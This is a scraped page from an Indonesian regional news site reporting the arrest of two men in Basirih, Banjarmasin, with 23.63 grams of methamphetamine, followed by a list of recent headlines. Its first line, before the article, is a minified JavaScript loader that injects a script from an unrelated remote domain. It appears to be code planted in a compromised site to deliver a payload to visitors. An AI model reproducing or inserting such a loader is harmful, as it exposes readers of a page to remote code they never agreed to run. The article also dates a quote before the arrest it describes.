(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

23,63 Gram Sabu Gagal Edar dari Dua Lelaki yang Tertangkap di Basirih


KANALKALIMANTAN.COM, BANJARMASIN – Polsek Banjarmasin Barat mengungkap peredaran narkoba di jalan Purnasakti, Gang Hasan Yamani, Kelurahan Basirih, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Personel Reskrim Polsek Banjarmasin Barat meringkus dua pelaku yang kedapatan menyimpan satu paket narkotika jenis sabu seberat 23,63 gram.

Kejadian ini pun terjadi pada Jumat (23/6/2023) lalu. Dua pelaku berinisial B (41) alias Udin bersama dengan HM (28) alias Yandi kedapatan melakukan transaksi narkoba di wilayah tersebut.

Udin, warga Jalan Kelayan, Kelurahan Murung Raya Banjarmasin Selatan. Sedangkan Yandi warga jalan Tanjung Berkat, Kelurahan Teluk Tiram, Banjarmasin Barat, keduanya pekerja swasta.

Baca juga: Jual Barang Curian Mobil L-300 ke Batola, Ifit Naga Dibekuk di Basirih Banjarmasin

“Sebelumnya petugas mendapat informasi bahwa di TKP ada transaksi narkotika jenis sabu-sabu,” ungkap Kapolsek Banjarmasin Barat melalui Kanit Reskrim Iptu Firuza Bahri, Senin (10/6/2023).

Barang bukti sabu yang dibawa dua pelaku. Foto: polresbanjarmasinbarat

Personel pun langsung melakukan penyelidikan, di mana hari itu jugamendapati dua pelaku berada di jalanan dengan membawa barang bukti berupa sabu.

“Langsung dilakukan penggledahan di jalan dan ditemukan barang bukti sabu yang sempat dibuang ke jalan,” jelasnya.

Baca juga: Tren Peredaran Gelap Narkoba Menyebar Hampir di Seluruh Kecamatan di Kabupaten Banjar

Tak hanya menemukan sabu pelaku ke jalan, personel kepolisian juga mendapati barang bukti lain yakni satu bungkus makanan ringan dan dua unit handphone Xiaomi dan Vivo.

Polisi pun juga menekukan uang di duga merupakan hasil dari transaksi narkotika sabu itu sebesar Rp 750 ribu.

“Usai digeledah dua pelaku dan barang bukti diamankan ke Mapolsek guna proses hukum lebih lanjut,” pungkas Kanit. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Al Ghifari

Recent Posts

Satgas Distribusi Material ke Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More

2 jam ago

Yakin ‘Pemilik’ 13 Kursi Golkar, Acil Odah Lamar Nasdem Koalisi di Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More

4 jam ago

Musrenbang RPJPD 2025-2045, Bahas Rencana Program HSU 20 Tahun ke Depan

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More

4 jam ago

Sekda Banjar Wakili Bupati di Rapat Paripurna Bahas Raperda Tentang Penanaman Modal

KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More

6 jam ago

Antisipasi Bencana, Ini Pesan Gubenur Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More

7 jam ago

Siap Tarung di Pilkada Kapuas, Mantan Wagub Kalteng Habib Ismail Lamar Nasdem

KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More

8 jam ago

This website uses cookies.